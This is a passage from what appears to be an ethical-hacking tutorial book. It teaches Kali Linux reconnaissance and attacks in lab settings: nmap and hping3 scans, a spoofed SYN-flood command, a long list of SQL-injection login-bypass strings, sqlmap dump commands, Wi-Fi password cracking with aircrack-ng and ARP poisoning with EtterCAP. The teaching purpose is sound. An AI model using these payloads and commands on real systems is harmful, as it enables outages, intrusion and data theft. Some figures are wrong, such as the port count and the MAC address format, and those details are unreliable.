Once you have calculated the subnet mask, the next step is to discover the hosts that are publicly available from the internet. Once again, the first recommendation is to use software like “nmap”.

You might go ahead and use other software, but they might be more detectable. For example “Angry IP scanner” is extremely easy to detect, but with “nmap”, you are going to be just fine, especially if you are mapping only once a minute, so it won’t look like a ping sweep.

Once you have discovered the hosts, you must go after the ports. You want to be able to see which ports are open, which ones are closed, and which ports are only allowing specific traffic through.

This gives you a better layout of the security policy on those machines. One of the more popular tools that you can use for this purpose is: (you guessed it right) “nmap”.

Once you have done your port scan, you have couple of other enumeration methods that you can use to give you a better picture. One of those is called “NetBIOS enumeration”.

When you perform a NetBIOS enumeration, you use it to identify network devices and to get a list of computers that may be on the domain. You might also able to see a list of shared folders, but in some cases, even passwords.

For NetBIOS enumeration, you can also use “WinFingerprint” or “SuperScan”. If you do NetBIOS enumeration, not only each machine is going to respond to these types of the enumeration, but you should also try to build out your map.

By deploying different kind of enumeration methods, you can fill in the blanks with an “SNMP enumeration”. SNMP or Simple Network Management Protocol is a protocol that you can use to manage your network devices.

If the SNMP is set up incorrectly, you can have those networking devices identifying themselves to you and providing useful information such as user accounts, IOS-s versions they are running, their uptime and IP addresses they

are assigned to.

One of the best tools that you can use for SNMP enumeration include SolarWinds and “OpUtils network monitoring toolset”. Because SNMP isn't always used on network machines like routers and switches, you can install SNMP on servers to manage those devices, or to be notified when something is going on.

If you still haven't drawn your map yet, you must do it with an LDAP enumeration. LDAP is part of Active Directory, but there are other products that support LDAP environment too.

LDAP is a database where user information is stored such as their first name, last name, personal information, time and dates that they're able to log in, where they're able to log in from, what departments they work in and so on.

LDAP enumeration is great because you can do other things based on the information you can discover, including social engineering attacks. The best tool that you can use here is called “LDAP Administrator Softerra”.

Once you have done your LDAP enumeration, another method that you can use is called “NTP enumeration”. External penetration testing tests the security, surrounding externally connected systems from the internet.

Controlled tests are used to gain access to internet resources and ultimately to the “DMZ”, which is an internal network by going through and around the firewalls from the internet.

External penetration testing also involves the finding and exploitation of actual known and unknown vulnerabilities from the perspective of an outside attacker.

How are you going to execute the external pen-test task? Well, once you asked your client for information about their infrastructure, you need to draw a visual diagram that represents the client’s organization infrastructure.

Drawings should include both; the physical parts, and the persons associated with that item, if possible. Your network map should also include IP ranges that the client already given to you.

Optionally, the Internet Service Provider or ISP could be added for more clarity. Using Kali Linux, the first thing you will do is to map the route to the target.

Next, you will run a ping sweep against your target network. Or better, you are going to ask your target network to look for any live hosts, and once again you are going to use “nmap” to perform multiple port scanning techniques against your target.

“Route mapping” was originally used as a diagnostic tool that allows you to view the route that an IP packet follows from one host to the next. Using the “TTL” or “Time to Live” field in a packet, each hop from one point to the next causes an “ICMP” time exceeded message. ICMP stands for Internet Control Message Protocol.

The packets count the number of hosts and the route taken. For example the source host is your Kali Linux, and the server off the Google are connected by two intermediate routers, which I will call “R1” and “R2”.

First, the Kali node will send a TTL 1 probe to the router R1. Then R1 will pick it up and sends a response back with the time exceeded.

Next, the Kali's host will send a TTL 2 probe to R1, where R1 takes it up and decreased it by one, and then it will send it to R2. R2 will pick it up and sends back a time exceeded packet.

Finally, the Kali node will send a TTL 3 probe to R1. R1 will pick it up, decrease it by one, and then send it to R2. After that, R2 will pick it up, decrease it by one, and send it to the Google server.

When Google server picks it up, it sends a response back with destination port unreachable. Why? Because most of the time, servers block the packets for this kind of port.

In Kali Linux, “traceroute” is a command line program that uses ICMP packets to map the route. To trace the route to the Google server, type

“traceroute www.google.com”

and you should see that it taken between 12 to 16 hops to get to the Google server. If you try it once again, but this time execute it using “nmap”, you will get a little different result. Why?

Well, “nmap” enables you to do exactly the same thing, but uses the TCP protocol instead, which is allowed by nearly every firewall.

To give you an idea about some basic Nmap scanning examples often used at the first stage of enumeration, check out the following commands:

“nmap -sP 10.0.0.0/24“

Ping scans the network, listing machines that respond to ping.

“nmap -p 1-65535 -sV -sS -T4 target“

Full TCP port scan using with service version detection - usually my first scan, I find T4 more accurate than T5 and still "very fast".

“nmap -v -sS -A -T4 target“

Prints verbose output, runs stealth syn scan, T4 timing, OS and version detection and provides traceroute and scripts against target services.

“nmap -v -sS -A -T5 target“

Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection and provides traceroute and scripts against target services.

“nmap -v -sV -O -sS -T5 target“

Prints verbose output, runs stealth syn scan, T5 timing, and provides OS and version detection.

“nmap -v -p 1-65535 -sV -O -sS -T4 target“

Prints verbose output, runs stealth syn scan, T4 timing, OS and version detection and provides full port range scan.

“nmap -v -p 1-65535 -sV -O -sS -T5 target“

Prints verbose output, runs stealth syn scan, T5 timing, OS and version detection and provides full port range scan.

Each time when you see three dots in your command line output, it means that the packets are blocked. The reason for this could be a firewall such as Checkpoint or Cisco ASA Firewalls which are dropping these types of packets by default.

Port scanning with “nmap” is the process of connecting to TCP and UDP ports to determine what services and applications are running on the target

system.

There are 65, 535 ports out there each for both TCP and UDP on each computer. Some ports are known to be associated with particular services, for example TCP port 21 is known for the FTP service.

The first 124, 000 ports are also known as the “well known ports” and they are used by the most define services. Whenever you talk about port scanning, “nmap” should come into your mind.

Nmap is a universal port mapping tool and the mapping relies on the active stack fingerprinting. Specially crafted packets are sent to the target system and the response of the operating system to those packets allows a map to identify the operating system.

In order for “nmap” to work, at least one listening port must be open, and the operating system must be known and fingerprinted. We could spend the whole book talking about “nmap”, and if you have never used it before, I do recommend you to check it out.

There are other resources on basic host discovery too in terms of ICMP echo requests and echo replies, as well as DNS related enquiries and how host names are resolved.

When it comes to firewalls, there are “stateful” and “stateless” types. Well, there are also Zone based firewalls, policy based firewalls, and many more, but in summary; stateful firewalls are allowing inbound traffic if it was initiated from the internal network coming from an outside network.

Stateless firewalls in the other hand are firewalls that drop inbound packets even if the traffic was initiated from the inside; unless there is a firewall “accept” rule has been deployed previously that allows traffic from a specific source to a specific destination on a specific port number.

Nmap uses the “traceroute” functionality to identify its way to the server you have chosen as your destination. Once you have identified a few IP addresses with nmap, you can also use the “traceroute” command to determine what hops are on the way in between you and the end devices you are have identified.

Once “traceroute” is complete, the first step is to run a network ping sweep against a target IP address space and look for responses that indicate that a

particular target is alive. Traditionally, pinging referred to the use of the “ICMP” packets.

Yet, TCP, UDP, ICMP, and ARP traffic can also be used to identify live hosts. There are various scanners can be used to run from remote locations across the internet to identify live hosts.

While the primary scanner tool is “nmap”, Kali provides several other applications that are useful such as “hping3”.

“Hping3” is one of the most useful tools due to the control it gives over packet types, source packet, and destination packet. For example if you want to ping the Google server, well, if Google does not allow ICMP ping requests, then it might be possible to ping the Google server using the TCP send request.

For example you can ping google.com from the command line, using the command ping with the “-c” argument, which will set a count of sending three packets to the google server.

If you see 100% packet loss, it means that Google is blocking ICMP packet based ping commands. This should not stop you at all, because you have the most powerful tools installed on Kali, which is “hping3”.

The command you have to use is the same but instead of typing ping only type “hping3”

followed by the destination address.

You can create several variations of the “hping3” tool that will also to discover live hosts and the whole map using ICMP replies and TCP sent packets on port 80 and 443 at the same time.

You can use arguments along with the command such as “–t” which stands for the timing, followed by a number between 1 and 5 where 1 is the slowest and 5 is the fastest.

Then the “-sn” flag is used for host discovery, followed by the “-v” option, which is used for verbose perfect. Shortly, we are going to look at a specific example of using hping3, but before that, let’s summarise NTP SMTP and DNS.

NTP stands for Network Time Protocol, which is the clock or the time synchronization protocol. Unfortunately, NTP sometimes allows you to query

servers that are acting as the time synchronization to get more information, such is a list of peers and some other stats that are often people enquiring.

There's a software called “NTP Fingerprint Utility”, which allows you to identify the operating system that the NTP server is running on. Next, you should try to test for SMTP Enumeration.

SMTP stands for Simple Mail Transfer Protocol, which is used for emails and email servers. You can use a Perl script called “SMTP enumeration”, and numerous switches with nmap to expose legitimate email addresses, which could include usernames of end-users.

The software called “Metasploit” could also help you to enumerate user's emails using SMTP protocol. Once you have tested for SMTP enumeration and LDAP enumeration, there is also the service called DNS.

DNS is your domain naming services, which is a service that keeps track of the domain names to their IP Addresses. There are many tools that you can use for DNS enumeration, including “BioSuite”, “Nmap” or “TX DNS Lookup”. Also make sure you remember the “nslookup” command.

Now that you have a ton of information that you have gathered, you have to update your documentation. In fact, your documentation has to be refreshed almost each step along the way.

You also have to use your documentation as you build it up, so that you can analyze the results and suggest some countermeasures to the client to make their security better. Just remember that the goal is to ensure that you protect the customer and provide feedback.

Please note that the rest of this book will be focusing on concrete examples how attacks can be deployed.

Chapter 11 Device discovery with Hping3

To discover networking devices, whatever they are local or remote, and they are not responding directly to ICMP ping request, we can still verify that they exist by using TCP and UDP options. Hping3 has all those options and much more.

If you have no response from a device that you are certain is out there, it might be that the firewall has been configured not to allow ping requests in order to elliminate Denial of Service Attacks, and that's understandable but you still want to verify that device.

Large organizations disable ping replies by filtering them on their firewalls. Yet, if we still want to validate that the device we are trying to ping is up, we can use many other tools that we already discussed, such as nmap and ZenMAP.

Hping3 replaced the previous version known as ping2 and now it has additional functions besides ICMP ping, such as:

- Ping request with TCP,
- Ping request with UDP,
- Fingerprinting,
- Sniffer and spoofer tool,
- Advance port scanning,
- Firewall testing,
- Remote uptime measuring,
- TCP/IP aka OSI model stack auditing,
- Advance Flooding tool,
- Covert Channel Creations,
- File transfer purposes and more.

Hping3 is an excellent device discovery tool and it's built into Kali Linux by default. Hping3 is operating on a command line interface, and it has many functionality. To list those functionalities, type:

"hping3 – h"

and press enter. Here, h stands for help, therefore you will be provided with the output of possibilities using hping3.

```
  -p  --destport   [+][+]<port> destination port(default 0) ctrl+z inc/dec
  -k  --keep       keep still source port
  -w  --win        winsize (default 64)
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)
  -Q  --seqnum     shows only tcp sequence number
  -b  --badcksum   (try to) send packets with a bad IP checksum
                   many systems will fix the IP checksum sending the packet
                   so you'll get bad UDP/TCP checksum instead.
  -M  --setseq     set TCP sequence number
  -L  --setack     set TCP ack
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag
  -U  --urg        set URG flag
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    use last tcp->th_flags as exit code
  --tcp-mss        enable the TCP MSS option with the given value
  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime
Common
  -d  --data       data size                    (default is 0)
  -E  --file       data from file
  -e  --sign       add 'signature'
  -j  --dump       dump packets in hex
  -J  --print      dump printable characters
  -B  --safe       enable 'safe' protocol
  -u  --end        tell you when --file reached EOF and prevent rewind
  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)
  --tr-stop        Exit when receive the first not ICMP in traceroute mode
  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop
  --tr-no-rtt       Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
  --apd-send       Send the packet described with APD (see docs/APD.txt)
root@kali:~#
```

Using Hping3 you can specify pinging not only one address, but hundreds of addresses at the same time, and you can manipulate your own source IP address to look like any other IP address that you want it to look like.

In addition, you can manipulate your source interface where the ping originated from. Hence, it’s nearly impossible to trace it back to it’s real source.

I will not get into every possibilities that you can do with Hping3, but I will mention that it’s very easy to create a Denial of Service attack.

To estabilish a connection between two networking devices, there should be a TCP 3-way handshake and it’s first step must be a SYN request. SYN stands for Synchronization.

What we can initiate is a continious SYN request to a device that would be flooded of requests and eventually the CPU of the victim’s PC or any other

networking device would not be able to handle it anymore, and it would eventually shutdown. An example of the command would look like this:

“hping3 –S 10.10.10.20 –a 192.168.1.20 22 –flood”

-S > This represents the SYN request.

10.10.10.20 > This IP represents the victim’s IP address.

-a > This represents that the following address I will specify will be the source.

192.168.1.20 > This is the fake source address instead of providing my own address, therefore this address also will be a victim, or we can call it the second victim, because the first victim will try to reply to the SYN requests to this IP address.

22 > This represents the “ssh” port number, but you can specify any port that has been identified as an open port with tools such as nmap.

--flood > This means that I am telling Kali Linux to send out the SYN requests as fast as possible.

Using this command set is not a joke. You can seriously damage any device’s CPU if you run such command even for a few seconds. If you choose to let it run for minutes, I promise you that many devices would propably give up and shutdown.

This is also why I warn you to make sure that you have a written authorization before you use this command in production environment. Besides that, even if you want to practice within your home lab environment, do not let it run for more then a few seconds as it may cause some very serious damage to your own networking devices.

Chapter 12 Burp Suite Proxy setup

Burp proxy is a crucial component of the entire Burp Suite application. Burp proxy it's another tool that you can use which allows you to intercept the web traffic between the browser and the target application, which is the web server itself.

To start Burp Suite, go to the application menu, then select the Kali Linux item, followed by the Top 10 security tools, and then select the Burp Suite from the list.

Burp Suite is the free version within Kali by default, but you can use the professional version too, and you will have access to all the functionalities in this application.

The free version is a good starting point if you want to learn how this application works. Once you have Burp up and running, you want to make sure that your proxy is enabled and listening on port 8080.

Go to the Proxy tab, select the Options tab, then you should see that the proxy listener is running and listening on port 8080.

Next, you have to configure your browser so that it can use the port that you had Burp Suite listening on. You can use an "add on" tool called "foxy proxy" for Firefox.

It is an easy way to have multiple proxies and to be able to change between them quickly. After installing "foxy proxy", right next to the browser's URL bar, there is a fox with a circle and line across it. Click on the fox, and then click add a "new proxy".

In the "proxy details" tab, you will need to set the manual proxy configuration to the local host and the proxy port to 8080. Next, click on the General tab, give that proxy a name and finally click on the Save button.

What you have essentially done is told your browser to send all the traffic to your local host to port 8080. This is the port you have configured the Burp Suite application to listen on.

Burp knows that it will take traffic and proxy-ing it out to the internet. Once you have saved this profile, right-click on the fox and select your proxy configuration.

For this scenario, you can name it “Burp proxy”, and if you have to start using it, all you have to do is to click on it. Once your browser is using the proxy, you can browse to the web application. If you go back to Burp, you are going to see the proxy and the intercept tab light is up, and turned into the orange colour.

If you see this happen, you know that you have configured everything perfectly. You should see that Burp successfully captured the get request for the website. By default, the initial state is to intercept all the traffic.

Intercept means to stop any request from the browser to the web application and will give you the ability to read or modify that request. If you try to browse to any sites with the default settings, you won't be able to see any responses until you turn off the intercept button.

By clicking the intercept button to be off, you will still be capturing all the web traffic but you won’t be directly tampering with every request. Either the intercept is on or off. Additionally, you can see all the requests and the responses within the History tab.

Chapter 13 Target setup for Burp Scanner

A good environment for web penetration testing is the mutillidae.com website, which is already installed on a “metasploitable” machine. The “metasploitable” is a Linux operating system and is preconfigured for penetration testing purposes.

To download a copy of the metasploitable host, you need to browse to the project website at sourceforge.net and download a copy of the virtual machine by clicking on the metasploitable Linux zip item.

To see the mutillidae.com website in your browser, enter the IP address of your metasploitable machine, which in your case it will be a private address. Followed by the web application name, which is mutillidae.

Next, you need to enable the Burp proxy by selecting it from the foxy proxy menu, which you installed in the previous chapter. Switch back to Burp proxy, click the Proxy tab, then the Intercept tab, and then click on the Intercept button to turn it off.

You don’t need to intercept any requests for the time being. Next, click on the Target tab and make sure that the site map tab is selected. You should see the mutillidae URL that you just trapped and forwarded.

The next step you need to do is to add it to the scope. Right click on the mutillidae folder and select the “Add to scope” item. The scope defines where automated spidering and testing could occur, and helps you to not actively scan domains that are out of your scope.

Vulnerability scanners are automated tools that crawl an application to identify the signatures of known vulnerabilities. Vulnerability scanners are noisy and are usually detected by the victim.

But, scans frequently get ignored as part of regular background probing across the internet. Burp scanner is a dynamic web application scanner included in the professional addition of the Burp Suite software.

The tool allows you to automatically scan websites and detect common security flaws, including SQL injection, cross site scripting, XML injection, missing cookie flags, and much more.

In this chapter, I will explain to you how to use Burp Suite to accomplish a

full complete scan. Once again, you will use the mutillidae.com website to accomplish your goal. Please check the previous chapter in order to understand the basics of how to use Burp Suite before moving on.

Once you ready, click on the foxy proxy icon to enable the Burp Suite proxy, and select your proxy from the list. Refresh the page and switch back to Burp Suite. Select the Proxy tab then the Intercept tab and switch off the interception.

By default, Burp scanner is configured to perform passive scanning on all domains, while active scanning is disabled. In Burp scanner tab, select “Live scanning” and make sure that the “use suite scope” option is selected in the live active scanning section.

Next, select the Target tab then the Sitemap tab, and expand your target. Next, it's time to start spidering the application, so switch to the Spider tab to see the progress of the spidering.

Once the numbers stop from going up, it means that it has finished the execution process. Once the spidering process is complete, go back to the Sitemap tab, right click on your target and select the “actively scan this branch” item.

Burp Suite will display a new window named “active scanning wizard”. This is an easy configuration tool for Burp scanner. The first step in this configuration, is this process that allows you to remove specific types of resources, including images, JavaScript or styles of sheets.

In most cases, the default setup is suitable so all you have to do is to click on the next button. In the next screen, the tool will display a table, containing the entire list of endpoints and parameters that Burp scanner is going to include during the scanning.

It is important to carefully review the list and remove endpoints that are either not relevant, or may cause malfunctions. Once you have finalized your selection, click on OK to start scanning.

Then, you can monitor the progress by checking the “Scan queue tab” in Burp scanner. This table provides information on the scan requests completed and in the one in progress.

Similarly, it provides an overview of the results by displaying the number of

issues discovered for each endpoint. From this table you can also remove items by selecting those resources, then right click and select the delete item.

Additionally, you can pause and restart the entire scanner from this menu. Scanning an entire web application may require several minutes, sometimes even several hours.

Nevertheless, you can analyse the results at any time by checking the findings in the Results tab of the Burp scanner. Like in the Sitemap section, this visualization groups vulnerabilities per endpoints, and categories with a convenient representation.

If your Burp scanner does find any cross site scripting vulnerability, SQL injection or file path traversal, you can click on a specific item in the advisory for the selected security vulnerability, and it will be shown below.

By showing the name of the issue that you have found, you will also get displayed the information such as an estimate of the impact of the affected system, an estimation of the tools confidence.

These can be certain, firm, or tentative, and it will also display the specific endpoint affected by the security vulnerability.

A contextual menu from the Results window allows removing issues by selecting the “delete selected issues” item, or assigns a different level of severity by setting the severity level and change the confidence value.

Once all resources have been analysed and the scan is complete, you can export the results. A Burp scanner allows you to create basic HTML or XML reports that can be used to keep track of the discovered vulnerabilities.

Moreover, other security tools such as metasploit will allow you to import those results to perform further tasks. In the Results tab, select all the items that you want to export.

Then select the root node to export all the findings. Right click to “Select the Contextual” menu and click on the “Report selected issues” item.

A new window titled “Burp scanner reporting” wizard will guide you through the format of the report. You can use the HTML selection and click on Next.

Within that screen, you can personalize the level of details to be included in the report. For instance, you can decide to have the maximum level of details by selecting all the checkboxes and then click on the next button.

As it’s sometimes useful to provide snapshots of the affected HTTP requests and responses, you can also decide to include relevant extracts in the final report.

Select the appropriate checkbox and then click on Next. In this step, Burp scanner report wizard allows you to select or deselect categories of issues to export.

Make your decision and select the appropriate checkboxes. You can select all of them and click on Next. Finally in the last step, you are required to specify the file name of the report.

Click on the select file button and browse your file system to find a folder where you want to save the report, then type the file name including the file extension and click on the Save button. Next give your report a title.

Furthermore, you can personalize the layout of the document by changing the order of the content by selecting the issue organization or table to contents level. Finally, click on the Next button.

At the end of the wizard, a progress bar will provide you a feedback on the report generation. Once completed, you can click on the Close button.

Chapter 14 Randomizing Sessions Tokens

Session tokens are normally used for tracking sessions since by default HTTP is a stateless protocol. In this chapter, we are going to look at making sure that session tokens are properly randomized and they can't be guessed.

In this example, you can be testing the mutillidae.com site, a vulnerable web application, which is installed by default on the Linux metasploitable host.

You can download the metasploitable virtual machine from sourceforge.net. The first thing you need to do is to generate some session tokens. Do you know when session tokens are generated and sent back to you from the server?

Well, the server sends a session token when your browser does not send a balanced session as a request.

To foul the web server for the first time, you should make your request by clearing the browser history and ensure that the cookies option is selected.

Next, use Burp Suite to intercept the request. Refresh your page and go back to Burp Suite under the Proxy tab where you should see in your request that the session token is not present.

Next, if you click on the forward button to send the request to the server, you will get a response with a cookie and a new session ID.

Click on the forward button to send the remainder requests, and once you see a white screen, you know that your job is done.

Click on the History tab and select one item from the list. You should see your first request header in the bottom section, so click on the Response tab and right click within the section, and send it to the sequencer.

Once you click on the “Sent to sequencer”, jump over to Sequencer tab and identify which session tokens are important to you.

Once you pick your token, you can click the “Start live capture” to start generating session tokens. A new window will pop up and it will start processing and generating tokens.

After finishing the live capture, you can start analysing the session tokens and Burp Suite will give you a summary of randomness of your session tokens.

Besides this tool, you also have the corrector level analysis and bit level analysis.

There are many other features within Burp's sequencer tool, so I recommend spending some time trying to understand how session tokens are generated.

All major web applications use different types of implementations and algorithms to generate session tokens.

Chapter 15 Burp Spider-ing & SQL Injection

When you pen testing a web application, the first thing you can do is to spider the host Using Burp Suite. It means that the Burp will crawl through the whole website and record all the different files, and HTTP methods on that site. Why do you spider the host?

Well, this is because you need to identify where all the links are, what types of parameters are used in the application, what external sites the application references too, and the overall layout of how the application functions.

To spider your application, you need to make sure that the target tab is selected, and then the site map tab is selected too. Next, right click on the domain that you added to your scope previously, and then click on the item called “spider this branch”.

Once the spidering process is complete, Burp should have a good layout of exactly what the application looks like. You can also click on any file in the list Burp provides to see what the request and response was.

Likewise, in the left column, under the “mutillidae” folder, you can see the structure of the website. On the top right below the site map tab, is the filter button which you can try playing around with to see what you are filtering out and what works for you.

Generally, it’s preferred to first add all your domains to the scope and then click the filter to only show those that are in the scope.

Sometimes pages or folders are not directly linked from a web application. For example, often seen that admin folder or login pages are not referenced anywhere on the website.

This is because host administrators are trying to hide these folders and administrative login pages from general users. These types of things you are looking for in your pen test, so that you can try to bypass or brute force the authorization process.

There is a specific module within Burp that is extremely helpful in these scenarios called “discover content”.

If you open the browser and enter the IP address of the metasploitable virtual machine, the Burp Suite should be intercepting your requests, therefore you

should stop it.

Next, click on the “mutillidae” hyperlink. Mutillidae is a vulnerable web hacking application composed of PHP scripts that are vulnerable to the top 10 vulnerabilities of OWASP.

You can start a fresh attack on the site just by visiting the webpage of mutillidae.com. Burp Suite should already recognize the existence of it.

Next, go back to Burp Suite and click on the “Target tab”, pick your domain, right click on it, and add it to the scope.

After this, you need to spider the application, but before doing so, there is something you should be aware.

Because mutillidae.com website has a lot of forms when you spider the application, the Burp Suite will pop a dialog asking you to enter the credentials manually to change this default behaviour, so you should click on the “Spider tab” then select the “Options tab”.

You should see by default the prompt for guidance is selected. Change it to the last option because you can use a “smart SQL injection string” instead. In the username field, type “admin”, followed by space, 1 = 1, space, dash, and leave the password field blank.

Note: Some people prefer to use other admin users for SQL injection authentication bypass.

The fact is that there are various ways you can bypass, the authentication, therefore I will list below all variations of admin passwords that I did come across before;

“admin' --“
“admin' #“
“admin'/*“
“admin' or '1'='1“
“admin' or '1'='1'--“
“admin' or '1'='1'#“
“admin' or '1'='1'/*“
“admin'or 1=1 or ''='“
“admin' or 1=1“
“admin' or 1=1--“
“admin' or 1=1#“
“admin' or 1=1/*“
“admin') or ('1'='1“

“admin') or ('1'='1'--“
“admin') or ('1'='1'#“
“admin') or ('1'='1'/*“
“admin') or '1'='1“
“admin') or '1'='1'--“
“admin') or '1'='1'#“
“admin') or '1'='1'/*“
“admin" --“
“admin" #“
“admin"/*“
“admin" or "1"="1“
“admin" or "1"="1"--“
“admin" or "1"="1"#“
“admin" or "1"="1"/*“
“admin"or 1=1 or ""="“
“admin" or 1=1“
“admin" or 1=1--“
“admin" or 1=1#“
“admin" or 1=1/*“
“admin") or ("1"="1“
“admin") or ("1"="1"--“
“admin") or ("1"="1"#“
“admin") or ("1"="1"/*“
“admin") or "1"="1“
“admin") or "1"="1"--“
“admin") or "1"="1"#“
“admin") or "1"="1"/*“

Moving on, you have to get back to the Target tab and start spidering the application. After that, switch to the Spider tab to see the progress of the spidering.

When you see the numbers stop from going up, it means that it has finished the execution process. Once the spidering process is complete, go back to the “Sitemap” tab, right click on the Mutillidae folder from the dropdown, and select “Engagement tools”, and then click on “Discover content”.

Once inside your discovery module, you can click on the “Session is not running” button, and the application will start the smart brute forcing.

At this time, the brute force attack is learning from files and folders that it finds within the application and tries to make better choices for brute forcing.

This technique provides an efficient process to identify folders and files of your application testing. You can click on the “Sitemap” tab at the top of the

discovery module and see all the results from the brute force scan.

This will help quickly identify hidden folders, admin pages, configuration pages, and other interesting pages that will be extremely useful to you any pen tester.

Chapter 16 SQL Injection with SQLmap

The most common and exploitable vulnerability in websites is the injection vulnerability which occurs when the victim's web site does not monitor inputs.

Thus, allowing the attacker to interact with the backend database. One of the most useful tools for assessing SQL injection vulnerabilities is called SQLmap.

It's a Python tool that automates the reconnaissance and exploitation of multiple types of databases. In this chapter you will learn about SQL injection attack against the mutillidae.com website.

If you're using metasploitable, there is a possibility that you need to fix it for the mutillidae.com website. First, you need to connect to your metasploitable host using SSH.

Use the user name of "mfsadmin", and the default password which is also "mfsadmin". Once you are connected to the metasploitable machine, you need to open the configuration file of the mutillidae.com website.

In this file, you need to make sure that the connection string is pointing to the OWASP 10 database. Once completed, you can start your SQL injection task.

First, open the mutillidae.com website. Next, in the left menu, select the OWASP 10 item, then the Injection menu item, and pick the first SQL injection test page from the top.

This page is vulnerable to SQL injection, so you need to intercept the request sent by you to the server using Burp Suite. Before clicking on the "View accounts details", you need to ensure that the Burp Suite is active.

Switching back to Burp Suite, you should see the contents of your request. Next, you need to save the contents to a file, and after that, you don't need Burp Suite anymore.

You can close everything, and open your console. Next, type

"sqlmap -dbs"

and press enter to determine the available databases. The most likely database to store the applications data is the OWASP 10 database, therefore you will need to check the tables of that database, using the command:

“sqlmap --tables --database owasp –u”

and press enter. The return data from executing this command should show you the available tables inside the OWASP database.

Next, check the accounts table and dump the data from this table. You can list the tables in the database with the following command:

“sqlmap -u "URL" --tables -d database_name”

You can list the names of columns in a table with another command:

“sqlmap -u "URL" --columns -d database_name -T table_name”

You can dump the data using the command:

“sqlmap -u "URL" --dump -d database_name -T table_name”

Chapter 17 Dictionary Attack with Airodump-ng

To execute a dictionary attack on a wireless network where the wireless network is protected with WPA or WPA2, we're going to follow a four step process.

First, we want to find out the BSSID of the access point that we want to execute our dictionary attack against. Once we've found the access point we want to attack, then we need to decide on the wordlist that we want to use for the attack.

A wordlist, as the name suggests, is a list of words, like a dictionary, and we're going to try that list of words against the access point.

The third step is that we're going to generate authentication traffic. For this attack to work, we need to be able to capture a legitimate user connecting to the access point and we're going to generate that traffic, so we can sniff it over the air. Lastly, we have to execute the dictionary attack.

For this attack, we're going to use Kali Linux. To do that, you have to open up a terminal and look at the configuration. Type

“iwconfig”

and you should see two of your wireless wireless lan adapters. Wireless wlan1 should be your device’s wireless LAN card that's integrated in your device, and wireless wlan0 is your virtualized Kali Linux LAN adapter if you have successfully bridged your devices.

This is also the one that you will be using to execute your attack. Therefore, the first thing you need to do is to put Kali Linux’s wlan card into monitor mode, but before you would do that, you have to take down your wireless lan adapter by typing:

“ifconfig wlan0 down”

Next type:

“iwconfig wlan0 mode monitor”

This command will put your wireless lan adapter into monitor mode. But the ensure the wlan is back up, you have to type the command:

“ifconfig wlan0 up”

Now that your wireless lan adapter is back up, you want to confirm that is now in monitor mode. To do that, you have to type the command:

“iwconfig”

Here, you should see where it says “Mode”, next to that, it should say that the card is now in monitor mode. Your next step is to find the BSSID of the access point that you want to attack. For that you are going to use the tool called Aircrack, so you have type:

“airodump-ng wlan0”

This will start searching for broadcasted BSSID-s. Here, you will see that you are capturing the BSSIDs of the surrounding access points and the channels they are using.

NOTE: Do not compromise your neighbours wireless, or worse, do not use this tool in production environment, unless you have written authorization.

Back to Kali Linux, to exit monitoring, you can press “Ctrl+C” to stop the search once you have found your wireless BSSID that you are going to attack.

Within the output of Kali, you should also have the MAC address of the BSSID, which is normally a 12 character long letter and numbers that you have to take a note of, because you are going to need that MAC address when you execute the attack.

The next step is to find a wordlist that you can use in order to break in to the access point, and Kali has several tools that you can use for this purpose.

You can also download others similar tools, but the tool called “Airodump” will just do the job. Therefore you have to type:

“airodump-ng –bssid 00:11:22:33:44:55:66 –channel 1 –write wepcracking wlan0”

NOTE: This is only an example, but where I stated “00:11:22:33:44:55:66” you have to type the actual mac address that of the BSSID that you are about to compromise, as well as the channel for you might be channel 6 or channel 11.

Once you have successfully executed the above command, you will see that wlan0 network monitoring has started.

Here, you will see the data transfer under the “data” column. Bare in mind that it all depends on how complex the password is as it might take a few minutes.

After you have waited few minutes, you should have enough data that you can work with, therefore you have to open a new terminal and type:

“ls”

This will list the files that you have been captured so far. Now to crack the password, you have to type the following command:

“aircrack-ng wepcracking-01.cap”

Here the filename “wepcracking-01.cap” is an example but you have to type there whatever filename you have collected and called under the “ls” command, next to the “Public” file name.

If you have been using WEP authentication, by now the password would be cracked. Aircrack-ng normally lists the password as an ASCII file by saying “KEY FOUND”.

Lastly, I will ask you again to make sure that you have written authorization for using Airodump-ng in a live or production environment. If you are only practicing in your home lab, in a non production environment, that should cause no issue to anyone; still I would suggest you turn off your router and practice with care without any connection to the internet.

Chapter 18 ARP Poisoning with EtterCAP

Imagine that you have been assigned to carry out a MITM (Man in the Middle) attack against a specific host or server, and the choice of tools to use are up to you.

There are multiple ways to carry out a MITM attack , and in this chapter we are going to use another excellent tool that you might consider called EtterCAP.

EtterCAP is another great way of going about MITM attack as it has user friendly Graphical User Interface or GUI that provides a so called click, select and go method.

It's always better to have more knowledge on additional tools if they wouldn't work or wouldn't have access at the time of yo uare assigned to do pen testing.

You should be aware that in order to achieve the same result, there are other options that you can go for. EtterCAP is another built in tool on Kali Linux platform. To launch EtterCAP, you can issue a command:

"ettercap –G"

Then press enter. Once EtterCAP is launched, it will wait for us to provide further instructions, and you should first click on a menu option: Sniff > then choose "unified sniffing".

Next, you should specify the network interface that you will use for sniffing. In my case it's ethernet0.

This will create some additional menu options, so now you should click on the menu option: "Host", then click on "Scan for hosts".

This should take no longer 5 seconds to discover all hosts that are on the same network. Once complete, go back to the menu icon; Host > then click on host lists in order to see all the hosts IP Addresses and the MAC addresses associated to them.

Once ou have a list of hosts, you can highlight the source address and click on "*Add to target 1"*, then highlight the destination address and click on "*Add to target 2"*.

The method we use is called ARP POISONING.

ARP stands for Address Resolution Protocol. Routers, Layer 3 Switches have ARP entries or ARP tables that contains all IP Addresses and their associated Mac Addresses or Physical Addresses that are connected to the network.

Yet, if we use ARP Poisoning, we could fake the real source address by telling the destination that we have the IP Address and the Mac address of the source node, so all traffic that is planned to reach the real source host, from now on, would first come to us.

In addition, all traffic that is planned to reach the destination host would come to us as well, as we would also poison the real source and tell it that the destination IP Address and Mac address is now our machine.

